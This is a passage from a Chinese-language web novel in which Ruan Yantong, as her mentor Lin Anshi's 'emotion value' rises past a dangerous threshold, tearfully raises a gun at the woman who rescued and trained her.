她才认识林安时一个月不到。 林安时把她捞起来,给了她工作,带她进污染区,耐心教她,污染物差点杀掉她的时候,她救了她。 她对她很好,不会嫌弃她没有天赋,她要她大胆去做,然后给她兜底。她一直在带她成长。 有时候阮砚瞳都觉得自己太幸运了。她还想过这辈子就跟着她干来着。 这就是幸运的代价吗?要她亲手结束这份短暂的幸运? 林安时的情绪值升到170% 阮砚瞳很难过,为什么偏偏这个时候只有她和林安时在一起。为什么要让她做这个决定。 我要杀了她吗? 我能杀了她吗? 【系统提示情绪熵值-10%】 林安时的情绪值迅速到达175% 不过她答应过她,她会尽量去做。 阮砚瞳抹了抹眼泪,举起枪,对准林安时,手控制不住地发抖。